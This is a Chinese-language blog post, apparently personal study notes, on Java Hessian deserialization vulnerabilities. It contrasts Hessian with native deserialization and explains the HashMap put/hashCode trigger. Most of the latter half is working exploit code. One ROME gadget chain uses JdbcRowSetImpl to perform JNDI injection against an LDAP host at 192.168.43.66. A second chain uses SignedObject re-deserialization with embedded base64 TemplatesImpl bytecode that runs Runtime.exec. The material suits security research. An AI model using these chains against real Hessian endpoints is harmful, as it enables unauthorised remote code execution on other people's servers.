Hessian反序列化
前言
摆烂了几天了,不能这样了,继续学。
Hessian简介
Hessian是一个二进制的web service协议,官方对Java,python,c++等多种语言都进行了实现。Hessian和Axis、XFire都能实现web service方式的远程方法调用,区别是Hessian是二进制协议,Axis、XFire则是SOAP协议,所以从性能上说Hessian远优于后两者,并且Hessian的JAVA使用方法非常简单。它使用Java语言接口定义了远程对象,集合了序列化/反序列化和RMI功能。
Hessian序列化/反序列化机制
大致机制如图所示
AbstractSerializerFactory:抽象序列化器工厂, 是管理和维护对应序列化/反序列化机制的工厂, 拥有 getSerializer 和 getDeserializer 方法, 默认的几种实现如下.
- SerializerFactory:标准的实现
- ExtSerializerFactory:可以设置自定义的序列化机制, 通过该 Factory 可以进行扩展
- BeanSerializerFactory:对 SerializerFactory 的默认 Object 的序列化机制进行强制指定, 指定为 BeanSerializer
- Serializer: 序列化的接口, 拥有 writeObject 方法
- Deserializer:反序列化的接口,拥有readObject()、resdMap()、readList()方法
- AbstractHessianInput:Hessian自定义的输入流,提供对应的read各种类型的方法
- AbstractHessianOutput:Hessian自定义的输出流,提供对应的write各种类型的方法
在Hessian的Serializer中,有以下几种默认实现的序列化器:
Deserializer对应也默认实现这些反序列化器
Hessian反序列化与原生反序列化的区别
分别写一下Hessian反序列化和原生反序列化的demo看一下有什么区别
Code
import javax.management.BadAttributeValueExpException; import java.io.ObjectInputStream; import java.io.Serializable; public class Code implements Serializable { public String name="ttt"; public int age=222; public void setAge(int age) { this.age = age; } public void setName(String name) { this.name = name; } public String getName() { return name; } public int getAge() { return age; } private void readObject(ObjectInputStream ois){ System.out.print(1); } }
原生序列化反序列化
import java.io.*; public class demo { public static void main(String[] args) throws IOException, ClassNotFoundException { ByteArrayOutputStream ser = new ByteArrayOutputStream(); ObjectOutputStream oser = new ObjectOutputStream(ser); oser.writeObject(new Code()); oser.close(); System.out.println(ser); ObjectInputStream unser=new ObjectInputStream(new ByteArrayInputStream(ser.toByteArray())); Object newobj=unser.readObject(); } }
Hessian序列化反序列化
import com.caucho.hessian.io.HessianInput; import com.caucho.hessian.io.HessianOutput; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException; public class hessianDemo { public static void main(String[] args) throws IOException { ByteArrayOutputStream ser = new ByteArrayOutputStream(); HessianOutput hessianOutput=new HessianOutput(ser); hessianOutput.writeObject(new Code()); hessianOutput.close(); System.out.println(ser); HessianInput hessianInput=new HessianInput(new ByteArrayInputStream(ser.toByteArray())); hessianInput.readObject(); } }
从运行结果中可以看出,Hessian
反序列化不会自动调用反序列化类的readObject
方法,这也就直接导致JDK原生反序列化的大多数gadget
在Hessian
反序列化中是不能用的。
还有一个很重要的区别,hessian
反序列化中序列化的类不需要实现序列化接口。
Hessian反序列化漏洞
虽然Hessian
反序列化不会自动调用反序列化类的readObject
方法,但其也有自己的特性,当其反序列化Map
类型的对象的时候,会自动调用其put
方法,写个demo试试
测试类
import java.util.HashMap;
public class testMap extends HashMap {
@Override
public Object put(Object key, Object value) {
System.out.println("test");
return super.put(key, value);
}
}
然后将其对象反序列化
可以看到确实调用了put
方法,这时看到HashMap
的put
方法
对key
调用hash
方法进行处理
只要key
不为空,就会调用其hashCode
方法,思路一下就打开了,之前看过的利用链中有部分就用到了hashCode
方法,比如rome
,又比如cc6等。
就如原生JDK有ysoserial
,Hessian
也有对应的工具生成paylaod
。marshalsec中就集成了Hessian
反序列化的gadget
,可以使用其生成paylaod
,该工具中集成了5个gadget
- Rome
- XBean
- Resin
- SpringPartiallyComparableAdvisorHolder
- SpringPartiallyComparableAdvisorHolder
EXP构造(rome)
这里以Rome
为例子构造一下POC,要注意的是这里不能使用之前构造的动态加载字节码的gadget
。
开始也很疑惑为什么不行,就去调试分析了一下。然后跟进到TemplatesImpl#getTransletInstance
时,就发现了异常
按照以前分析的TemplatesImpl
动态加载字节码,这里因为没有给_class
赋值,所以会进入defineTransletClasses
方法,实现类的加载,然后在图中第二个断点处实例化类。但是这里的_class
并不为空,为了区分这是hessian
反序列化和原生反序列化之间的区别,还是rome
这条链子的特性,有用rome
的原生反序列化链试了一下
可以看到,在使用原生反序列化时,_class
也是不为空的。那么为什么在使用原生反序列化的情况下,可以使用TemplatesImpl
这条利用链,hessian
反序列化就不行呢?
经过调试发现,当使用ToStringBean
封装我们构造的TemplatesImpl
对象后,其中的_class
就已经被赋值了
那么问题大概率是出现在反序列化过程中了,一番观察后终于发现了原因所在。hessian
反序列化过程中,TemplatesImpl
对象的_class
中的classloader
被改变了。从上图中可以看到,原本的classloader
是TransletClassLoader
,看一下反序列化时
变成了Launcher$AppClassLoader
,这也就解释了为什么不能成功加载了。
那么不能利用动态加载字节码,就把突破点转移到其他方面。其实rome
这条链跟fastjson
反序列化有异曲同工之妙,关键点都是在getter
的调用上,那么fastjson
中的一些利用方式,也可以将其转化为rome
的利用方式。回想一下fastjson
利用JdbcRowSetImpl
实现jndi
注入,在这条利用链中,是通过调用setAutoCommit
方法触发connect
方法进而实现jndi注入。但是在rome
中并不能调用到setter
,所以不能直接利用,那么如果JdbcRowSetImpl
中有一个getter
调用了connect
方法,不就可以打通整条链子了吗。
刚好有一个符合要求的getter
,即getDatabaseMetaData
,后续就不多说了,直接构造exp
import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.sun.rowset.JdbcRowSetImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import java.io.*;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.util.HashMap;
public class hessianDemo {
public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, SQLException {
//构造JdbcRowSetImpl对象
JdbcRowSetImpl jdbcRowSet=new JdbcRowSetImpl();
jdbcRowSet.setDataSourceName("ldap://192.168.43.66:8888/calc");
//构造ToStringBean
ToStringBean toStringBean=new ToStringBean(JdbcRowSetImpl.class,jdbcRowSet);
ToStringBean toStringBean1=new ToStringBean(String.class,"s");
//构造ObjectBean
ObjectBean objectBean=new ObjectBean(ToStringBean.class,toStringBean1);
//构造HashMap
HashMap hashMap=new HashMap();
hashMap.put(objectBean,"novic4");
//反射修改字段
Field obj=EqualsBean.class.getDeclaredField("_obj");
Field equalsBean=ObjectBean.class.getDeclaredField("_equalsBean");
obj.setAccessible(true);
equalsBean.setAccessible(true);
obj.set(equalsBean.get(objectBean),toStringBean);
ByteArrayOutputStream ser = new ByteArrayOutputStream();
HessianOutput hessianOutput=new HessianOutput(ser);
hessianOutput.writeObject(hashMap);
hessianOutput.close();
System.out.println(ser);
HessianInput hessianInput=new HessianInput(new ByteArrayInputStream(ser.toByteArray()));
hessianInput.readObject();
}
public static void setFieldValue(Object obj,String name,Object value) throws NoSuchFieldException, IllegalAccessException {
Field field=obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj,value);
}
}
不出网利用方式(rome)
上面的exp是利用JNDI注入实现RCE,但是如果目标环境是不出网的那么就没法使用这种方法了。所以继续学习一下hessian
反序列化依赖rome
的不出网利用方式
SignedObject二次反序列化
在java.security.SignedObject
中有一个getObject
方法
可以看到,直接就是一个原生反序列化,那么就可以利用这里实现二次反序列化从而实现RCE。
简单写一下EXP
import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import sun.security.provider.DSAPrivateKey;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Field;
import java.security.*;
import java.util.Base64;
import java.util.HashMap;
public class romeExp {
public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, SignatureException, InvalidKeyException {
HashMap hashMapx=getObject();
//构造SignedObject对象
SignedObject signedObject=new SignedObject(hashMapx, new DSAPrivateKey(), new Signature("x") {
@Override
protected void engineInitVerify(PublicKey publicKey) throws InvalidKeyException {
}
@Override
protected void engineInitSign(PrivateKey privateKey) throws InvalidKeyException {
}
@Override
protected void engineUpdate(byte b) throws SignatureException {
}
@Override
protected void engineUpdate(byte[] b, int off, int len) throws SignatureException {
}
@Override
protected byte[] engineSign() throws SignatureException {
return new byte[0];
}
@Override
protected boolean engineVerify(byte[] sigBytes) throws SignatureException {
return false;
}
@Override
protected void engineSetParameter(String param, Object value) throws InvalidParameterException {
}
@Override
protected Object engineGetParameter(String param) throws InvalidParameterException {
return null;
}
});
//构造ToStringBean
ToStringBean toStringBean=new ToStringBean(SignedObject.class,signedObject);
ToStringBean toStringBean1=new ToStringBean(String.class,"s");
//构造ObjectBean
ObjectBean objectBean=new ObjectBean(ToStringBean.class,toStringBean1);
//构造HashMap
HashMap hashMap=new HashMap();
hashMap.put(objectBean,"novic4");
//反射修改字段
Field obj= EqualsBean.class.getDeclaredField("_obj");
Field equalsBean=ObjectBean.class.getDeclaredField("_equalsBean");
obj.setAccessible(true);
equalsBean.setAccessible(true);
obj.set(equalsBean.get(objectBean),toStringBean);
ByteArrayOutputStream ser = new ByteArrayOutputStream();
HessianOutput hessianOutput=new HessianOutput(ser);
hessianOutput.writeObject(hashMap);
hessianOutput.close();
System.out.println(ser);
HessianInput hessianInput=new HessianInput(new ByteArrayInputStream(ser.toByteArray()));
hessianInput.readObject();
}
public static void setFieldValue(Object obj,String name,Object value) throws NoSuchFieldException, IllegalAccessException {
Field field=obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj,value);
}
//获取原生反序列化对象
public static HashMap getObject() throws NoSuchFieldException, IllegalAccessException {
//构造TemplatesImpl对象
byte[] bytecode= Base64.getDecoder().decode("yv66vgAAADQAIAoABgATCgAUABUIABYKABQAFwcACQcAGAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAZAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEAClNvdXJjZUZpbGUBAAlDb2RlLmphdmEMAAcACAcAGwwAHAAdAQAEY2FsYwwAHgAfAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQAKAAAADgADAAAADAAEAA0ADQAOAAsAAAAEAAEADAABAA0ADgACAAkAAAAZAAAAAwAAAAGxAAAAAQAKAAAABgABAAAAEgALAAAABAABAA8AAQANABAAAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAABYACwAAAAQAAQAPAAEAEQAAAAIAEg==");
byte[][] bytee= new byte[][]{bytecode};
TemplatesImpl templates=new TemplatesImpl();
setFieldValue(templates,"_bytecodes",bytee);
setFieldValue(templates,"_name","Code");
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
//构造ToStringBean
ToStringBean toStringBean=new ToStringBean(Templates.class,templates);
ToStringBean toStringBean1=new ToStringBean(String.class,"s");
//构造ObjectBean
ObjectBean objectBean=new ObjectBean(ToStringBean.class,toStringBean1);
//构造HashMap
HashMap hashMap=new HashMap();
hashMap.put(objectBean,"novic4");
//反射修改字段
Field obj=EqualsBean.class.getDeclaredField("_obj");
Field equalsBean=ObjectBean.class.getDeclaredField("_equalsBean");
obj.setAccessible(true);
equalsBean.setAccessible(true);
obj.set(equalsBean.get(objectBean),toStringBean);
return hashMap;
}
}
除了上面这种方式,y4tacker
师傅还分享了一种适用于Linux/Unix的方式。就是利用sun.print.UnixPrintService
直接执行系统命令,不过本地环境问题就不复现了。